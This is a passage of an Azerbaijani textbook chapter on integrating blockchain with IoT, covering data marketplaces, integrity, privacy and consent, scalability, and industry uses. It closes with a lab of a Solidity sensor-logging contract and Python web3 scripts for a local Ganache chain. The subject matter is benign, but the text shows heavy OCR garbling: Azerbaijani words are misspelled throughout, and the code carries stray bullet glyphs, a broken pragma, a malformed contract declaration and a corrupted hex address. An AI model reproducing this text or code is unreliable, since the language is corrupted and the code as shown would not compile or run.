omoliyyatlarinin tam izlona bilan tarix¢osini toqdim edir. Bu audit izi malumat
paylasimi, doyisikliklor vo transferlor iizorindo soffafliq vo etibarliligi artirir.

e Doyismoz miilkiyyat qeydlori: Molumat miilkiyyoti bir dofo miioyyon
edildikden sonra blok¢eynda dayismoaz bir geyd kimi saxlanilir. Bu yanasma
miibahisalorin va geyri-miiayyanliklorin qarsisini alir.

¢ Mbilumat istehsal¢ilarinin giiclondirilmasi: IoT cihazlar1 vo istifadogilor 6z
molumatlar iizarinds daha ¢ox nazarat olds edir, xiisusilo malumat paylagimi
vo ya monetizasiyasi ilo bagl hallarda bu yanasma c¢ox vacibdir.

e Vasitocilorin aradan qaldirilmasi: Blokceyn vo IoT ononovi vasitogilori
aradan galdiraraq molumat paylagimi va tohliikosizliyi prosesini sadslosdirir.

Bu yanagmalar, morkozsizlosdirilmis ekosistemlordo molumat idaragiliyinin
vo milkiyyatin yeni modellorini tomin etmoklo yanasi, malumat tohliikosizliyini do
artirir.

7.6.3. IoT-Blok¢eyn inteqrasiyasinda malumat bazari vo monetizasiya

Blok¢eyn vo Osyalarm Interneti (IoT) arasinda sinerji yalniz molumat
idaraciliyini yenidon toriflomir, hom do yenilik¢i molumat bazarlar1 vo monetizasiya
strategiyalar1 {iclin yol acir (Sokil 7.3). Bu sokil molumatlarin tokenlosdirilmosi,
istehsalgilarin giiclondirilmasi vo yeni biznes modellorinin neco inkisaf etdiyini
vizuallagdirir. Asagida bu inteqrasiyanin daxilindo molumat bazarlarinin inkisafi
izah edilir:

e Mblumat ticarati platformalari:

Blokg¢eynin doyisdirilmoz tobioti molumat biitévliiyiinii tomin edir, soffafligi
iso istirake¢ilar arasinda etimad yaradir. Bu platformalar vasitosilo molumat
miibadilosi daha etibarli va izlono bilon sokildo hoyata kegirilir.

e Avtomatlasdirilmis amoliyyatlar:

Agilli miigavilalor molumat bazarlarinda asas rol oynayir. Onlar omoliyyatlar
avtomatlasdirir vo molumat paylasiminin avvalcadon toyin olunmus sortlors uygun
hoyata kecirilmasini tomin edir. Sortlor yerino yetirildikdo, miiqavilslor avtomatik
olaraq molumat miibadilosini hoyata kegirir, vasitogilori aradan qaldirir vo prosesi
stiratlondirir.
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e Mbjlumatlarin tokenlasdirilmasi:

Tokenlosdirmo anlayist molumatlari rogomsal aktivlers ¢evirir ki, bunlar
ticarot edilo vo ya doyisdirilo bilor. IoT torofindon yaradilan molumatlar
tokenlagdirilorak, miilkiyyatin tasdiglonmasini va daqiq amaliyyatlart miimkiin edir.
Bu yanasma homgcinin mikromaksayislar1 dostokloyir, kicik miqyasli moalumat
tohfalorinin bels monetizasiyasini tomin edir.

e Mblumat istehsalcilarinin giiclondirilmasi:

Moalumat bazarlar1 giic balansim1 doyigerak IoT cihazlarma vo fordlora 6z
molumatlarina nozaroti oldo etmoyo imkan verir. Bu, molumat iqtisadiyyatina
birbasa istirak etmaya va tohfalorina gors miikafatlandirilmaga sorait yaradir.

e Yeni biznes modellori:

Moalumat bazarlar1 10T cihazlarinin yeni biznes modellari ii¢iin platforma
togdim edir. Bu cihazlar molumat miibadilosi vasitosilo golir oldo edo bilar.
Homginin, molumat axinlarina giris oldo etmok iigiin vasito¢i danisiglarina ehtiyac
qalmur.

e Mbilumat paylasimim tasviq etmok:

Blok¢eyndo token osasli mexanizmlor [oT istifadogilorini molumatlarini
bazara togdim etmoyo hovoslondiro bilor. Bu, biitiin istirak¢ilara fayda veron vo
imumi molumat doyor zoncirini zonginlogdiron 6z-6ziino davamli bir ekosistem
yaradir.

e Moxfilik nazars alinmasi:

Molumat bazarlar1 monetizasiya imkanlar1 toklif etso do, moxfilik mosolasi
prioritet olaraq qalir. Blokgeynin kriptoqrafik texnikalar1 vo sortloro osaslanan
molumat paylasimi, hossas moalumatlarin qorunmasini tomin edo bilor.
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Sakil 7.3. loT-Blokgeyn inteqrasiyasinda malumat bazar: va monetizasiya
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7.7. Blok¢eyn va IoT ila Tahliikasiz Malumat Idaraciliyi
7.7.1. Blok¢eyn vasitasilo malumat biitovliiyii vo dayismazlik

Blok¢eyn vo Osyalarin Interneti (IoT) inteqrasiyas: tohliikosiz molumat
idaragiliyi tigtin giiclii bir mexanizm taqdim edir. Bu bélmads blok¢eynin malumat
biitovliiyli vo doyismozliyi tomin etmok iigiin asas mexanizmlori izah edilir (Sokil
7.4). Sakil, IoT cihazlarindan blokceyn sistemino godor moalumat axininin neca
doyismoaz va tohliikasiz saxlanildigini niimayis etdirir.

e Doyismaz geyd sistemi: Blok¢eynin paylanmis geyd sistemi, amoliyyatlar
doyisdirilmoz bir sokildo geyd edorok molumatin doyisdirilmomasini tomin
edir. Hor bir molumat girisi vo ya "blok" avvalki ilo kriptoqrafik sokilds
olagalondirilir, naticads sarsilmaz bir malumat zanciri yaradilir.

e Mbolumat biitovliiyiinii tomin etmok: I[oT ekosistemindo miixtolif
cthazlardan molumat axini zamani molumatin biitovliiylinliin qorunmasi
olduqca vacibdir. Blok¢eyn konsensus mexanizmloari va kriptografik hagimlor
vasitasila icazasiz doyisikliklorin qarsisini alaraq malumatin doqiqliyini tomin
edir.

e Toasdiglona bilon amaliyyatlar: Soboko istirak¢ilari molumatin monsoyini
izlomokla va blokgeyn vasitasilo molumatin yolunu tasdigqlomoklo malumatin
dogrulugunu yoxlaya bilorlor. Bu soffaflig, paylagilan molumatin doqiqliyi ilo
bagli inami artirir vo etibar1 tomin edir.

¢ Real vaxth audit imkanlari: Blokceyn, IoT ekosistemi vasitosilo molumat
axini zamani real vaxtda audit aparmaga imkan verir. Bu xiisusiyyat xiisusilo
uygunluq, tonzimloyici hesabatlar vo keyfiyyoto nozarot mogsadlori {igiin
doyorlidir.

IoT EKosistemi Blokceyn

) >@ >» >Oé >® >®

ToT Cihazlar Molumat Aximi Dayismaz Qeyd Konsensus Kriptoqrafik Tasdiqlana Bilan Real Vaxth
Sistemi Mexanizmi Hash Omoliyyatlar Audit

Sakil 7.4. Blokceyn vasitasila tamin edilon dayismazlik
7.7.2. 10T cihazlar1 vo blok¢eyn: Malumat manbalari va tahliikasizlik

IoT cihazlar1 doyarli molumat monbalori vo sensorlar kimi ¢ixis edorok
davamli molumat axin1 yaradir. Blok¢eyn texnologiyast ils inteqrasiya edildikds, bu
cihazlar molumatin autentikliyini, biitovliiylinii vo etibarliligini tomin etmok ii¢lin
osas mexanizmlor toqdim edir.
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Mbslumatin toplanmasi va taskili

Mbolumatin yaradilmasi: 10T cihazlar1 otraf mihit parametrlorindon
istifadagi qarsiligh alagelorine qador genis cesidli malumatlar toplayir. Bu
molumatlar ssaslandirilmis qorar gobul etmo vo avtomatlagdirma {iciin baza
toskil edir.

Mbolumat miixtalifliyi: IoT cihazlart strukturlu vo struktursuz molumatlar,
gorintiilor, videolar vo sensor geydlori kimi miixtolif molumat névlori istehsal
edir. Bu miixtaliflik mévcud molumatlarin zonginliyini vo darinliyini artirir.
Mborkazsizlasdirilmis malumat noqtalori: IoT cihazlarinin paylanmis tobioti
molumat noqtalorini morkozlosdirilmis manipulyasiya va ya saxtakarliq
riskindon qoruyur.

. Mdlumatin autentikliyi va etibarhhgi

Ragamsal imzalar: IoT cihazlan kriptoqgrafik olaraq xiisusi roqomsal izlor
yaradir, har cihaz ti¢iin unikal bir “barmaq izi” formalasdirir. Blok¢eyn bu
imzalarin autentikliyini tosdiq edir vo molumat biitdvlilyiinii qoruyur.
Mbolumat monsayi: Blok¢ceyn molumatin mongoyini vo horokatini izloyorok
onun audit tarixi yaradir. Bu, soffafligi vo hesabatlilig1 artirir, malumatin
etibarliligini tomin edir.

Tohliikasiz saxsiyyat idaraciliyi: Blokceyn texnologiyasinin
morkozsizlosdirilmis soxsiyyat idaroetmosi yalniz solahiyyotli cihazlarin
molumatlara giris oldo etmosini tomin edir. Bu yanasma icazosiz molumat
manipulyasiyasi vo ya olava edilmosinin garsisini alir.

7.8. Moxfilik va Razihg Idaraciliyi

7.8.1. IoT molumat toplama ilo bagh moaxfilik problemlori

Blokg¢eyn vo IoT inteqrasiyasi yeni imkanlar toqdim etso do, IoT torafindon

yaradilan molumatlarin ¢oxlugu moxfiliklo bagli bir ¢ox c¢otinliklori do ortaya
cixarir. Asagida bu problemlorin asas aspektlori izah edilmisdir:

Mbolumatlarin coxalmasi: IoT cihazlarinin genis yayilmasi ovvallor
gbriinmomis hocmdo molumatin yaranmasina sabob olur. Bu, gbzlonilmoz
molumat sizintilarinin vo maxfilik pozuntularinin riskini artirir.
Mbolumatlarin  detalliligi: IoT cihazlart istifado¢i  davranmislarini,
foaliyyatlorini vo qarsiligli alagelorini real vaxtda toplayir. Bu detalli molumat
toplama prosesi, hossas molumatlarin izah edilo bilmasi vo icazosiz
profillosdirma ilo bagl narahatliglar yaradir.

Izloyici monitorinq: IoT cihazlan istifadogilorin soxsi mokanlarinda,
masalon, evlords vo ya geyilo bilon cihazlarda foaliyyot gostors bilor. Bu da
istifadagilorin izlonma hissi ilo narahatliq ke¢irmasina sabab olur.
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o Uciincii taraflorlo molumat miibadilosi: IoT ekosisteminde molumat
mibadilosi yalniz istehsalgilarla mohdudlagmir. IoT sobokasinin garsiligl
olagali tabiati malumatlarin tigiincii taraflarls paylagilmasi ehtimalini artirir vo
bu, icazasiz malumat sizintilarina yol aga bilor.

o Tohliikasizlik zaifliklori: IoT cihazlar tohliikesizlik zaifliklorine gqarsi
hossasdir vo molumatlarin zororli soxslor torofindon olo kegirilmo riskini
artirir. Bu zoifliklor ciddi maxfilik pozuntularina sobob ola bilor.

7.8.2. Razilq idaraciliyinds agilhh miigavilalorin rolu

Blokg¢eyn vo IoT inteqrasiyasi inkisaf etdikco, moxfiliklo bagli problemlorin
holli iiglin yenilik¢i hollor tolob olunur. Agilli miigavilolor bu sahodo effektiv
vasitolordon biri kimi istifado edilir:

o Avtomatlasdirilmis razihq icraati: Agilli miiqavilalar istifadaci torafindon
mioyyon edilon molumat paylasma secimlorino uygun avtomatik icra
mexanizmi tomin edir. Miigavilo yalniz avvalcadon toyin olunmus sartlora
uygun olaraq molumat paylasimini hoyata kecirir.

o Dinamik razihq idaraciliyi: Agilli miiqavilslorin programlasdirila bilon
tobioti istifadogilora raziliq se¢imlorini real vaxtda doyisdirmok imkani verir.
Bu, istifadogiloro molumat paylasimina nozarsti qorumaga imkan yaradir.

o Soffaf icra: Agilli miiqavilolor soffaf vo doyisdirilmoz miihitdo hoyata
kecirilir. Bu, raziliq razilasmalarinin biitiin toroflor {li¢lin yoxlanila bilmosini
tomin edir.

« Oziinii icra edon razihglar: Miiqavilodo raziliq sortlori kodlasdirildigdan
sonra miigavilo 0ziinii icra edir. Bu, molumatin yalniz razilagdirilmis sortloro
uygun olaraq paylasilmasini vo icazosiz istifadonin garsisini alir.

o Doyismoz raziliq qeydlari: Raziligin hor bir omoliyyati blok¢eyndo geydo
alinir vo soffafliq yaradan doyismoz bir geydlor zonciri tomin edilir.

Bu yanagmalar istifadogilora molumatlarina daha ¢ox nozarst imkan1 verir v
molumat idaragiliyindo istifado¢i moarkozli hollorin inkisafini tosviq edir.

7.9. Blokceyn va IoT Integrasiyast ilo Maxfilik va Performans
7.9.1. Blokceyn va IoT inteqrasiyasi ilo maxfilik tominati

Blokceyn vo Osyalarin Interneti (IoT) inteqrasiyasi, rogomsal mokanlarda
istifadoc¢i moxfiliyinin qorunmasinda inqilabi doyisikliklor yaradir (Sokil 7.5). Bu
yanasma istifadogiloro soxsiyyotlori lizorindo daha ¢ox nozarot imkani verarok
moxfilik soviyyasini artirir:
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o Mborkazsizlasdirilmis soxsiyyat idaragiliyi: Blok¢eynin morkozsiz tobioti
istifadocgiloro soxsiyyatlori ilizorinde nozaroti qorumaga imkan verir. Bu
yanagma markazlosdirilmis xidmat tominatgilarina ehtiyaci aradan qaldirir.

o  Mbilumatin azaldilmasi: Blokceyn va IoT inteqrasiyasi istifadocilora yalniz
konkret amaliyyatlar ticlin tolob olunan malumatlar1 paylasmaq imkani togdim
edir.

o Secici malumat miibadilasi: Blok¢eyn istifadociloro miioyyon molumat
noqtolorini  paylasmaga imkan verir, bu da hossas molumatlarin
tohliikasizliyini tomin edir.

o Doyismoz audit izi: Hor bir omoliyyat blok¢eyndo doyismoz sokildo geyd
edilir. Bu soffaflig molumatin doyisdirilmasinin qarsisini alir va tohliikasizliyi
artirir.

o Icazo mexanizmlorinin tokmillasdirilmasi: Blokceyn vasitosilo istifadogilor
icazolorini real vaxtda idaro edo bilor vo bu icazolor avtomatik olaraq
blok¢eyndas tatbiq edilir.

o lcazasiz girislorin qarsisimin ahnmasi: Blokceyn kriptoqrafik metodlari vo
konsensus mexanizmloari vasitasila icazasiz girislorin qarsisini alir.

Blokceyn in tegrasiyasi

S
N = N
Icazasiz Girislarin Takmillasdirilmis Dayismaz Andit Secici Malumat Malumat Moarkazsizlasdirilmis
Qarsisim Almaq Icazo Mexanizmlari Izi Miibadilasi Azaldilmas: Soxsiyyat Idaraciliyi

v,

Sakil 7.5. Blok¢eyn va IoT inteqrasiyasi ilo maxfilik taminat
7.9.2. Blok¢eyn va IoT inteqrasiyasinda olgiilabilorlik vo performans

Blokg¢eyn vo IoT texnologiyalarinin inteqrasiyasi boyiik potensiala malik olsa
da, dl¢iilobilorlik vo performans baximindan miioyyon ¢otinliklor ortaya ¢ixir. Bu
cotinliklor agsagida otrafli izah edilir:

o IoT ilo bagh catinliklar:

o MBbolumat hacmi: [oT cihazlarinin ¢oxlugu bdylik hocmds molumat
yaradir ki, bu da soboka 6tiirmo vo emal imkanlarini yiikloys bilar.

o Mpolumat 6tiiriilmasi: IoT cihazlarindan bdyiik hocmdo molumat
otiirtilmoasi gecikmolora vo soboka tixanmasina sabab ola bilor.

o Resurs mohdudiyyatlori: IoT cihazlarinin ¢oxu mohdud hesablama
giicii ilo isloyir ki, bu da yiiksok enerji vo hesablama toloblorini
qarsilamada problemlor yaradir.
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« Blokceyn ilo bagh ¢atinliklor:

o Konsensus iizarinds yiikloma: Konsensus mexanizmlori soboko
tohliikasizliyini tomin etso do, daha c¢ox istirak¢1 olavo edildikco
hesablama yiiklonmasi artir vo performansa monfi tasir edir.

o Yaddas talablari: Hor bir omaliyyatin blok¢eynda saxlanilmasi yaddas
tolablorini artirir, bu da IoT molumatlari liclin geyri-effektiv ola bilor.

o Gecikma: Blok¢eyn omoliyyatlarinin tosdiglonmasi {i¢iin tolob olunan
vaxt, [oT totbiglorinin real vaxt ehtiyaclar ilo ziddiyyat yarada biloar.

Blokgeyn va IoT inteqrasiyasinin tam potensialint hayata kegirmok ticiin bu
cotinliklorin holli kritik ohomiyyst kosb edir. Bu istiqgamatdo hoyata kegirilon
strategiyalar, hom blok¢eynin amaliyyat somarsliliyini, hom ds IoT malumatlarinin
idaro edilmosini tokmillosdirs bilor.

7.9.3. Blok¢eyn va IoT inteqrasiyasinda olciilabilarlik problemlorinin halli

Blok¢eyn vo Osyalarm Interneti (IoT) inteqrasiyasi, olgiilobilorlik
problemlarini holl etmok tigiin yenilik¢i hollor tolob edir. Asagida bu problemlorin
halli iiciin istifado edilo bilon osas yanasmalar togdim olunur:

e Zoncirxarici emal (Off-Chain Processing): Zoncirxarici emal
texnologiyalart bozi omoliyyatlar1 osas blokgeyn zoncirindon konara
yonlondirorok yiikii azaldir. Bu yanasma, omoliyyat siirotini artirmaq vo
blok¢eynin Olgiilobilorliyini yaxsilagdirmaq iiglin yan zoncirlordon vo ya
dovlot kanallarindan istifads edir.

« Sardinq (Sharding): Sarding, blok¢eyn zoncirini daha ki¢ik vo idaroolunan
hissoloro bolmok prosesidir. Bu yanagma, paralel emal imkanlar1 togdim
edorok omoliyyat siiratini artirir vo miqyaslama ¢oatinliklorini hall edir.

o IoT cihazlarimn sarhad hesablamasi (IoT Edge Computing): IoT
cihazlarmin yaxinliginda molumat emalini tomin etmoklo blokgeynlo Gtiirtilon
molumat hocmini azaldir. Bu, sistem somoroliliyini artirir vo soboko
tixanmasinin qarsisini alir.

o Optimallasdirilmis malumat toplama: Molumati ilkin monbodo toplamaq
va blokgeyndon avval aqreqasiya etmok, soboko tixanmasinin garsisini alir vo
emal doqiqliyini artirir.

« Konsensus alqoritmlari: Delegated Proof of Stake (DPoS) vo Proof of
Authority (PoA) kimi optimallagdirilmis konsensus alqoritmlori istifado
edorok hom tohliikasizliyi tomin etmok, hom do omoliyyat siiratini artirmaq
mimkiindiir.

o Hibrid yanasmalar: Zoncirxarici vo zoncirdaxili emalin birlosdirilmasi
Olciilobilorlik vo tohliikesizliyi artirir. Masalon, omoliyyatlar zoncirxarici
emalda basa ¢atdirilir vo zoncirdaxili tosdiqlo tamamlanur.
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7.9.4. Performans va tohliikasizliyin tarazlasdirilmasi

Blokceyn vo IoT inteqrasiyast ham boyiik imkanlar toqdim edir, hom do
performans vo tohliikasizlik arasinda incs tarazligin qurulmasini talob edir. Asagida
bu iki aspektin tarazlasdirilmasi tigiin vacib mogamlar qeyd olunmusdur:

o O9maliyyat siirati vo tahliikasizlik: Omoliyyat siirotini artirmaq tgiin
tohliikasizlikdon giizost edilmomalidir. Diizglin balans tapmaq hom siirati,
hom do tohliikasizliyi qorumagq iigiin vacibdir.

o Resurs mohdudiyyatlari: [oT cihazlarinin mohdud resurslarini nozors alaraq
molumat emalinda optimallagsdirma vacibdir.

o Konsensus mexanizmlori: Siiroto vo ya tohliikasizliys {istlinlilk veran
konsensus mexanizmlorini diizgiin segmok vacibdir. Masolon, sarding vo
zoncirxarici emal siiroti artirsa da, tohliikosizlik maosalolorino digqgot
yetirilmolidir.

o Sifralomo va dogrulama: Giiclii sifrolomo vo autentifikasiya mexanizmlori
tohliikasizliyi tomin edir. Lakin bu mexanizmlar, alava resurs tolab etdiyi tigiin
performansa tosir gostora bilor.

« Real Vaxtda cavab: 10T totbiglori real vaxt rejiminds cavab tolob edir. Bu
tolablori garsilamaq tohliikasizlik vo performans balansini qorumaq fi¢iin
diqgotli moalumat emali togkilatini tolob edir.

o Istifadaci tacriibasi: Performans vo tohliikesizlik arasindak: balans istifadoci
tocriibosini birbasa tosir edir. Gecikmolor vo ya omoliyyat problemlori
istifadogilorin narazili§ina sabob ola bilar.

Blok¢eyn vo IoT inteqrasiyasinin dinamik miihitindo performans vo
tohliikasizlik arasindaki dogru tarazligi tapmaq bu texnologiyalarin ugurlu totbiqi
ticlin kritik ohomiyyato malikdir. Bu yanasmalar tohliikosizlikdon gilizost etmodon
performansi artirmaga komok edir.

7.10. Blokceyn va IoT Inteqrasiyasinin Tatbiglori
7.10.1. Sonaye IoT va tochizat zoncirinin idarsedilmasi

Burada, Blokceyn vo Osyalarm Interneti (IoT) texnologiyalarinin
birlosmasinin sonaye proseslorini vo tochizat zonciri idarogiliyini neco ingilabi
sokildo doyisdirdiyine dair real diinya niimunslori togdim olunur:

o Tokmillosdirilmis izlonma: Blokgeyn vo IoT inteqrasiyasi, tochizat zonciri
istirak¢ilarina mohsullarin izini izlomok {i¢lin misilsiz imkanlar togdim edir.
Masalon, IBM Food Trust bu inteqrasiyan1 orzaq mohsullarinin fermerdon
stifroya godor izlonmosi, risklorin azaldilmasi vo orijinalligin tomin edilmasi
ticlin istifado edir.
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Mbonsayin tasdiqlonmasi: LVMH kimi liiks mallar markalari, mohsullarin
mongayini tasdiglomak tigiin blok¢eyn vo [oT inteqrasiyasindan istifados edir.
[oT sensorlari ila birlogdirilmis blokgeyn texnologiyasi istehsal prosesinin hor
addiminin soffaf vo tasdiqlonmis olmasini tomin edir.

Effektiv anbar idarsetmoasi: Anbarlar vo saxlama obyektlorindo IoT
sensorlar1 ehtiyat saviyyalorini monitorinq edir. Blokg¢eyn inteqrasiyasi
ehtiyat izlomo prosesini avtomatlasdirir, insan miidaxiloesini azaldir vo
doaqiqliyi artirir.

Saxta mohsullarin garsisim1 alma: Brendlor, IoT sensorlarin1 blokgeyn ilo
birlogdirorok saxta mohsullarla miibarizo aparir. Hor mohsul wunikal
identifikator ilo tochiz olunur vo blok¢eyn onun yolunu doyismoz sokildo
geyds alir, saxta mohsullarin bazara daxil olmasinin garsisini alir.

7.10.2. Sahiyys vo pasiyent malumatlarinin idars edilmasi

Blok¢eyn vo Osyalarin interneti (IoT) texnologiyalariin birlosmosi, sohiyy

va pasiyent malumatlariin idars edilmasini inqilabi sokilds dayisdirarak asagidaki
tatbiglori miimkiin etmisdir (Sakil 7.6):

~
Sahiyya vo Pasiyent Malumatlarimn ” ‘

idars Edilmasi Blokgeyn va IoT Inteqrasiyas:

B —t—

Tahliikasiz Tibbi eHealth Sistemi
Qeydlar
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Darman Tachizat
Zancirinin Biitovliyi

Uzaqdan Pasiyent L IoT Geyila Bilan Cihaz J

Monitoringi y

Sakil 7.6. Sahiyya va pasiyent malumatlarinin idara olunmasi

Tahliikasiz tibbi qeydlar: Blokceyn vo IoT inteqrasiyasi pasiyentlorin tibbi
geydlorinin tohliikasizliyini vo biitovliiylinii tomin edir. Estoniyanin eHealth
sistemi bu inteqrasiyani istifadociloro saglamliq molumatlarina tohliikosiz
sokildo nozarat etmok imkani togdim etmok {i¢iin istifads edir.

Klinik arasdirmalar va tadqiqat: 1oT cihazlari klinik sinaqlarda istirak edon
pasiyentlordon real vaxt rejimindo molumat toplayir. Blokgeyn, bu
molumatlarin soffafliini vo autentikliyini tomin edorok istirakgilarla
todqiqatcilar arasinda etimad yaradir.
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« Dorman tachizat zancirinin biitovliiyii: Blok¢eyn vo IoT inteqrasiyasi saxta
dormanlarin yayilmasina qarst mibarize aparir. Pfizer kimi oczagiliq
nohanglori bu texnologiyani dormanlarin tachizat zanciri boyunca izlonmasini
tomin etmak va orijinallig1 qorumaq tgiin istifads edir.

o Uzaqdan pasiyent monitoringi: [oT geyilo bilon cihazlar1 pasiyentlorin
saglamliq parametrlorini uzagdan monitorinq etmays imkan verir. Blok¢eyn
inteqrasiyasi bu molumatlarin doyigsmoazliyini tomin edir, tibbi miitoxassislor
ticlin etibarhilig: artirir.

Bu niimuns, sohiyya sektorunda blok¢eyn vo IoT-nin birlosmasinin molumat
tohliikasizliyini, garsiliqh alagani va pasiyent-moarkazli nozarati neca artiraraq daha
somarali vo pasiyent yoniimlii sohiyya sistemloring yol agdigini niimayis etdirir.

7.10.3. Enerji idaraciliyi vo agillh sabakalor

Bu boélmado, Blokgeyn vo Osyalarin Interneti (IoT) texnologiyalarinin
birlosmasinin enerji idaragiliyi va agilli sabaka sistemlorini neca dayisdirdiyine dair
real diinya niimunalori togdim olunur:

o Morkazsizlosdirilmis enerji ticarati: Blokgeyn vo IoT inteqrasiyasi peer-to-
peer enerji ticarotini asanlagdirir. Power Ledger kimi platformalar
istehlakcilara artiq enerjini birbasa alib satmaga imkan verir, enerji
somoraliliyini artirir vo xorclori azaldir.

o Sobokonin optimallasdirilmasi: Agilli  sobokoloro quragdirilmis IoT
sensorlar1 enerji istehlakini vo sobokonin voziyyatini davamli olaraq
monitorinqg edir. Blokgeyn inteqrasiyast bu sensor molumatlarinin
biitovliiylinii tomin edorok, doqiq soboko idaragiliyi vo optimallagdirilmasina
tohfo verir.

« Borpa olunan enerjinin izlonmasi: Blok¢ceyn vo IoT birlosmosi barpa olunan
enerji istehsalinda soffafligr artirir. SolarCoin bu inteqrasiyant hor megavat-
saat giinos enerjisinin blok¢eyndo geyd edilmasi ilo giinog enerjisi istehsalini
togviq etmok ticlin istifado edir.

o Mikrosobakalor vo davamhiliq: Osas sobokonin isindo nasazliq oldugu
hallarda mikrosobokalor miistoqil sokildo foaliyyot gostors bilir. IoT cihazlar
mikrosoboko parametrlorini monitoring edir vo blok¢eyn bu cihazlarin
molumatlarinin tohliikosizliyini vo doyisdirilmozliyini tomin edir.

Bu niimunoslor, Blok¢eyn vo IoT inteqrasiyasinin enerji idaragiliyi vo agill
sobokolordo transformativ tosirini vurgulayir. Peer-to-peer enerji ticarotini
effektivlosdirarak, soboko performansini optimallasdiraraq vo borpa olunan enerjido
soffaflig1 artiraraq, bu inteqrasiya daha dayaniqli vo morkozsizlosdirilmis enerji
golocayina kecidi siiratlondirir.
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7.11. Galacak Trendlar va Tadgiqat Istigamatlari

7.11.1. Edge hesablama v3 hibrid arxitekturalar

Blok¢eyn vo Osyalarin Interneti (IoT) inteqrasiyasmim golocok inkisafi,

xuisusilo edge hesablama va hibrid arxitekturalar sahasindo perspektivli istigamatlor
togdim edir:

Edge hesablama yayillmasi: Edge hesablama texnologiyalarinin genis
miqyasda gabul edilmasi gozlonilir, bu da molumat emalin1 IoT cihazlarina
daha yaxinlagdirir. Blokceyn texnologiyasinin edge miihitlorindo
tohliikasizlik vo molumat biitovliiylinii neco artiracagini arasdirmaq osas
todqiqat sahosi olacaqdir.

Mborkazsizlosdirilmis Edge sobokoalori: Edge miihitlorindo morkozsiz
blok¢eyn sobokolorinin totbigini tadqiq etmok, daha dayaniqli vo cavab veron
IoT ekosistemlorinin yaradilmasina, gecikma problemlorinin holline kdmaok
eds bilor.

Miqyaslama ii¢iin hibrid modellor: Zoncirdaxili vo zoncirxarici emal
problemsiz birlogdiron hibrid arxitekturalarin inkisafi, miqyaslama vo
omoliyyat somaroliliyini artiraraq tohliikesizlik vo maorkozsizliyi qorumaga
imkan verir.

Somorslilik vo davamhliq: Edge hesablama vasitosilo enerji istehlakini
optimallasdirmagin vo blok¢eyn—IoT sobokoalorindo davamli vo ekoloji tomiz
hallor qurmagin yollarin1 arasdirmaq vacibdir.

7.11.2. Siini intellekt vo Masin Oyronmasi ils inteqrasiya

Blokceyn vo Osyalarin Interneti (IoT) inteqrasiyasinin siini intellekt (AI) va

masin Oyronmasi saholori ilo kosismasi, arasdirma va inkisaf {li¢lin yeni imkanlar
toqdim edir:

Itrafh analitika: Sobokolor daxilinds alqoritmlordon istifads, avvallor oldo
olunmas1 miimkiin olmayan dorin molumat analitikasini tomin edir.
Prognozlasdirici modellosdirmo: Blok¢eyn—IoT sistemlorindo
prognozlasdirici modellorin inteqrasiyasi, tarixi molumatlara osaslanaraq
meyllori vo potensial problemlori prognozlasdiraraq real vaxt rejimindo qorar
gobul etmoyi asanlasdirir.

Agilh miiqavilo optimizasiyasi: Siini intellekt, resurslarin effektiv
istifadosini tomin edorok miiqavilslorin avtomatlagdirilmasini vo avvalcodon
toyin olunmus sortlors uygunlugunu artirmagq tigiin istifads edils bilor.
Mbolumat anomaliyalarinin askarlanmasi: Masin 0yronmosi alqoritmlori
[oT molumat axinlarinda anomaliyalar1 askarlaya, tohliikesizliyi artira vo
potensial pozuntular1 erkon miisyyon eds bilar.
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Bu sinerji, yalmz hor bir texnologiyanin potensialin1 artirmagla
kifayatlonmoyacok, hom do sonaye vo domenlari inqilabi sokildo doyisdiracok
innovativ hallors yol acacaqdir.

7.12. Praktiki Hissa va Tapsiriglar

7.12.1. Sensor Malumatlarimin Blockchain Uzarinds Dayismaz Qeydiyyati

Mogqsad:

Bu praktiki isin magsadi [oT sensor malumatlarinin blockchain tizorindo slave
tohliikasizlik vo soffafligla geydiyyatini tomin etmakdir. Smart contract vasitasilo
sensor molumatlar1 zomanatli, doyisdirilmaz vo manbaya sahib sokilds blockchain
sabokoya yazilacaq.

Talablor:

= Jetson Nano, Raspberry Pi, yaxud PC
Ganache (lokal Ethereum blockchain)
Remix IDE (https://remix.ethereum.org)
Python 3.8+

web3, eth-abi kitabxanalari

v Addim 1 — Smart Contract Yaradilmasi (Remix)

Ik addimda Remix IDE-do Smart Contract yaratmaq iiciin Solidity fayl
yaradilir (smart_contract.sol).

// SPDX-License-Identifier: MIT
pragma solidity ~0.8.0;

contract Datalogger ({
event DataStored (address indexed sender, string
sensorType, string data, uint timestamp) ;

. function logData (string memory sensorType, string
memory data) public {

o emit DataStored(msg.sender, sensorType, data,
block. timestamp) ;

. }

e }

1) Remix iizorinds "Solidity Compiler" bolmasinds versiya 0.8.x secilib
contract compile edilir.
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2) "Deploy & Run Transactions" bolmasinds ¢evra miihiti Web3 Provider
(http://127.0.0.1:7545) olaraq ayarlanir vo deploy edilir.
3) Deploy edilon contract address kopyalanir.

Sokil 7.7. Remix IDE -nin ekran goviintiisii

v" Addim 2 — Sensor Mslumatlarim Blockchain-s Yazmagq

Bu skript real vaxtda sintetik sensor temperatur molumatlarini blockchain-o
yazir vo tx statusunu geri qaytarir (log_sensor.py).

¢ from web3 import Web3
¢ import time
e import random

e w3 = Web3 (Web3.HTTPProvider ("http://127.0.0.1:7545"))
e w3.eth.default account = w3.eth.accounts[0]

e abi = [ ... ] # Remix-den kopyalanan ABI buraya daxil
edilir

e contract_address =
"0x907d3B74b3293b443£f3A4d0e5B6035B01Bd2AA82"

e contract = w3.eth.contract (address=contract_address,
abi=abi)

¢ while True:

o temp = round (24 + random.uniform(-2, 2), 2)

o tx_hash = contract.functions.logData("temperature",
str (temp) ) . transact ({

D '"from': w3.eth.default account,

. 'gas': 500000,

o 'gasPrice': w3.to_wei("1l", "gwei'")

. }

o receipt = w3.eth.wait_ for transaction_receipt (tx hash)
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o print (£"TX status: {receipt.status}")
o print (f"Logs: {receipt.logs}")
o time.sleep(5)

asif@asif-VMware-Virtual-Platform: ~/blockchain/labt  Q |

Sakil 7.8. Solda Ganache local serverin ¢ixisi, sagda log sensor skriptinin ¢ixisi

v" Addim 3 — Loglar1 Blockchain-don Oxumagq (read_logs.py)

Bu addimda yazilmis molumat loglarini oxumagq iigiin skript géstorilmisdir
(read _logs.py).

¢ from web3 import Web3
e from datetime import datetime
e from eth_abi import decode

e w3 = Web3 (Web3.HTTPProvider ("http://127.0.0.1:7545"))

e abi = ... ] # Eyni ABI

e contract_address =
"0x907d3B74b3293b443£3A4d0e5B6035B01Bd2AA82"

e contract = w3.eth.contract (address=contract_address,
abi=abi)

e event sig = "DataStored(address,string,string,uint256)"
